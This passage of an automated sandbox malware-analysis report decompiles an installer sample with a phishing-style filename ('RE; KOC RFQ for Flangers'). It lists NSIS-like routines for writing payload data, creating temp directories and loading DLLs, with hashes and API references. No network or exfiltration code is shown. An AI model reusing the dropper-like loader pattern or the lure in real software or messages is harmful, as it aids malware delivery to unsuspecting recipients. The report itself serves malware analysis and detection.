C:\Users\user\AppData\Local\Temp\nsf9A32.tmp, xrefs: 0040177E, 004017ED, 0040180B

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsf9A32.tmp$C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll$Call
API String ID: 1941528284-96510340
Opcode ID: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction ID: 7896ef4f757b45501086316f909c91b804aeab5b8a53035332c5850d51b772f7
Opcode Fuzzy Hash: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction Fuzzy Hash: FA41C272900615BACF10BBA5DD46EAF3A79EF01329B20433BF515F11E1D63C4A419AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E5B(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				int _t66;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f020;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					E00403080( *0x423ed8 + _t60);
				}
				_t62 = E0040304E( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E0040304E(0x40b020, _t98) == 0) {
									goto L34;
								} else {
									_t66 = WriteFile(_a8, 0x40b020, _t98,  &_a12, 0); // executed
									if(_t66 == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E0040304E(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00405DD9(0x40af90);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E0040304E(0x40b020, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40afa8 = 0x40b020;
						 *0x40afac = _t99;
						while(1) {
							 *0x40afb0 = _t88;
							 *0x40afb4 = _v12; // executed
							_t74 = E00405DF9(0x40af90); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40afb0; // 0x40f020
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423f34 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404D7B(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_t88 =  *0x40afb0; // 0x40f020
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e63
0x00402e67
0x00402e6a
0x00402e6f
0x00402e71
0x00402e71
0x00402e78
0x00402e7c
0x00402e80
0x00402e82
0x00402e82
0x00402e87
0x00402e8c
0x00402e97
0x00402e97
0x00402ea2
0x00402ea9
0x00402ff9
0x00402ff9
0x00000000
0x00402eaf
0x00402eb3
0x00402fe4
0x00403039
0x00402ffe
0x00403004
0x00403006
0x00403006
0x00403017
0x00000000
0x00403019
0x00403024
0x0040302c
0x00402fde
0x00402fde
0x00402ffb
0x00402ffb
0x00000000
0x00403033
0x00403033
0x00403036
0x00000000
0x00403036
0x0040302c
0x00403017
0x00403044
0x00000000
0x00403044
0x00402fe9
0x00402feb
0x00402feb
0x00402ff7
0x00403041
0x00000000
0x00000000
0x00000000
0x00000000
0x00402ff7
0x00402ec4
0x00402ec7
0x00402ecc
0x00402ecc
0x00402ed6
0x00402ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00402edf
0x00402edf
0x00402edf
0x00402ee7
0x00402ee9
0x00402ee9
0x00402efa
0x00000000
0x00000000
0x00402f00
0x00402f03
0x00402f09
0x00402f0f
0x00402f17
0x00402f1d
0x00402f22
0x00402f29
0x00402f2c
0x00000000
0x00000000
0x00402f32
0x00402f38
0x00402f3a
0x00402f47
0x00402f49
0x00402f77
0x00402f7d
0x00402f86
0x00402f8b
0x00402f8b
0x00402f92
0x00402fd2
0x00000000
0x00000000
0x00000000
0x00402f94
0x00402f97
0x00402fb7
0x00402fba
0x00402fbd
0x00402fc3
0x00402fc7
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fa3
0x00402fab
0x00000000
0x00402fb2
0x00402fb2
0x00000000
0x00402fb2
0x00402fab
0x00402f92
0x00402fda
0x00000000
0x00402fda
0x00000000
0x00402edf

APIs

GetTickCount.KERNEL32 ref: 00402EB9
GetTickCount.KERNEL32 ref: 00402F3A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F67
wsprintfA.USER32 ref: 00402F77
WriteFile.KERNELBASE(00000000,00000000,0040F020,00000000,00000000), ref: 00402FA3

Strings

... %d%%, xrefs: 00402F71

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction ID: 77f196e3f4de2b0f7ff2a56d5fa3bb7e3b28ee40e2402e388f788a2720e93e15
Opcode Fuzzy Hash: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction Fuzzy Hash: F151917190121A9BCF10CF55DA48AAF7B78AF04795F10413BF810B72C0D7B89E50DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029F6(0xfffffff0);
				_t10 = E00405564(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E004054FB(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x00402164
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x0040288e
0x0040289a

APIs

Part of subcall function 00405564: CharNextA.USER32(00405316,?,00421880,00000000,004055C8,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 00405572
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405577
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405586

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-47812868
Opcode ID: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction ID: ffaaac8e814952d4dd163c137c14166a37b00a477d69e33f5cc6849720afcf5a
Opcode Fuzzy Hash: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction Fuzzy Hash: 86010831908180ABDB116F795D44D6F27B0DA52365728473BF491B22E2C23C4942962E

Uniqueness

Uniqueness Score: -1.00%

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056E3(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x004056e7
0x004056ed
0x004056ee
0x004056ee
0x004056ef
0x004056f6
0x00405700
0x0040570d
0x00405710
0x00405718
0x00000000
0x00000000
0x0040571c
0x00000000
0x00000000
0x0040571e
0x00000000
0x0040571e
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004056F6
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405710

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 004056EA
nsa, xrefs: 004056EF
C:\Users\user\AppData\Local\Temp\, xrefs: 004056E3, 004056E6

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3113947
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 090c9869d25c952b380026dfe3028592f3e254e5657c021594612e0629f183dd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: AFF0A736348204B7D7104F55EC04B9B7F5DDF91750F14C027F944DA1C0D6B1995597A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000198F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000198F(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E);
				_push(1); // executed
				_t34 = E10001D3B(); // executed
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E100023F6(_t50);
					}
					E10002440(_t65, _t50);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100025FE(_t65, _t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x818; // 0x818
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E100018A1(_t50);
								_t15 = _t50 + 0x818; // 0x818
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x820)) = _t38;
								 *_t70 = 3;
								E100025FE(_t65, _t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100025FE(_t65, _t50);
							_t34 = GlobalFree(E1000159E(E100018A1(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E100025C4(_t50);
							if(( *(_t50 + 0x810) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x808);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x810) & 0x00000020) != 0) {
								_t34 = E10001825( *0x10004054);
							}
						}
						if(( *(_t50 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t50);
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E100014C7(_t50);
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E1000120C(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E100027CC(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x1000198f
0x1000198f
0x1000198f
0x10001999
0x100019a1
0x100019ae
0x100019bc
0x100019bf
0x100019c1
0x100019c6
0x100019cb
0x10001ade
0x10001ade
0x100019d1
0x100019d5
0x100019d8
0x100019dd
0x100019df
0x100019e5
0x100019eb
0x10001a1b
0x10001a22
0x10001a46
0x10001a85
0x10001a48
0x10001a48
0x10001a49
0x10001a4c
0x10001a52
0x10001a56
0x10001a59
0x10001a5e
0x10001a5e
0x10001a65
0x10001a6b
0x10001a71
0x10001a7d
0x10001a7e
0x10001a81
0x10001a24
0x10001a25
0x10001a3a
0x10001a3a
0x10001a8f
0x10001a92
0x10001a9f
0x10001aa6
0x10001aae
0x10001ab1
0x10001ab1
0x10001aae
0x10001abe
0x10001ac6
0x10001acb
0x10001abe
0x10001ad3
0x00000000
0x10001ad5
0x00000000
0x10001ad6
0x10001ad3
0x100019ef
0x100019f2
0x10001a10
0x00000000
0x00000000
0x10001a13
0x10001a18
0x10001a18
0x10001a1a
0x00000000
0x10001a1a
0x100019f4
0x100019f5
0x100019fd
0x100019fe
0x00000000
0x100019fe
0x100019f7
0x100019f8
0x10001a06
0x00000000
0x10001a06
0x100019fb
0x00000000
0x00000000
0x00000000
0x100019fb

APIs

Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F80
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F85
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F8A

GlobalFree.KERNEL32 ref: 10001A3A
FreeLibrary.KERNEL32(?), ref: 10001AB1
GlobalFree.KERNEL32 ref: 10001AD6

Part of subcall function 100023F6: GlobalAlloc.KERNEL32(00000040,E8002080), ref: 10002428

Part of subcall function 100027CC: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,?,10001A0B,00000000), ref: 1000281C

Part of subcall function 100018A1: lstrcpyA.KERNEL32(00000000,10004018,00000000,10001967,00000000), ref: 100018BA

Part of subcall function 100025FE: wsprintfA.USER32 ref: 1000265F
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 10002728
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 10002751

Strings

, xrefs: 10001AB7

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 6e0759a576b18076926cce8c598bb7c3c4ce6d2cf8641f24577731197bddaade
Instruction ID: 73a644c0497f06cd708a10c3248ea791f84cf5318f3d9e6ca3c0cc3a1fe5f0c9
Opcode Fuzzy Hash: 6e0759a576b18076926cce8c598bb7c3c4ce6d2cf8641f24577731197bddaade
Instruction Fuzzy Hash: 8031A075601245AAFB41DF649CC5BDA3BE8FF062D0F148429F9066A09FCF749845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F51(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423f38");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423f08 =  *0x423f08 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E004029F6(0xfffffff0);
				 *(_t34 + 8) = E004029F6(1);
				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404D7B(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, 0x424000, 0x40af50, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E004034C6(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f51
0x00401f51
0x00401f56
0x00401f5d
0x00402019
0x00402164
0x00402164
0x0040288b
0x0040288e
0x0040289a
0x0040289a
0x00401f6c
0x00401f76
0x00401f79
0x00401f88
0x00401f8c
0x00401f92
0x00401f96
0x00402012
0x00000000
0x00402012
0x00401f98
0x00401fa2
0x00401fa6
0x00401fea
0x00401fa8
0x00401fab
0x00401fae
0x00401fde
0x00401fb0
0x00401fb3
0x00401fbc
0x00401fbe
0x00401fbe
0x00401fbc
0x00401fae
0x00401ff2
0x00402007
0x00402007
0x00000000
0x00401ff2
0x00401f7c
0x00401f82
0x00401f86
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E37

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction ID: d4347cebb671b603d0a5d412fc90ce50d757f993dc699470b494ace3858b78d6
Opcode Fuzzy Hash: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction Fuzzy Hash: 7221EE72D04216ABCF107FA4DE89A6E75B06B44359F204337F611B52E0D77C4941965E

Uniqueness

Uniqueness Score: -1.00%

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403097(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
				E00405C3F(_t6);
				_t2 = E0040553D(_t6);
				if(_t2 != 0) {
					E004054D0(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E004056E3("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x00403098
0x0040309e
0x004030a4
0x004030ab
0x004030b0
0x004030b8
0x004030c4
0x004030ca
0x004030ae
0x004030ae
0x004030ae

APIs

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004030B8

Strings

1033, xrefs: 004030BF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403098, 0040309D, 004030A3, 004030AF, 004030B7, 004030BE

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction ID: 14cf73edb083f9294524d0cb591bdba299ebaa8e37fda96f2dae1f3ab35ccfa6
Opcode Fuzzy Hash: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction Fuzzy Hash: 95D0C92160BD3032D66136263D0AFDF155C8F5236EFA1447BF809B61CA5B6C6A8219FF

Uniqueness

Uniqueness Score: -1.00%

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E004063DD() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
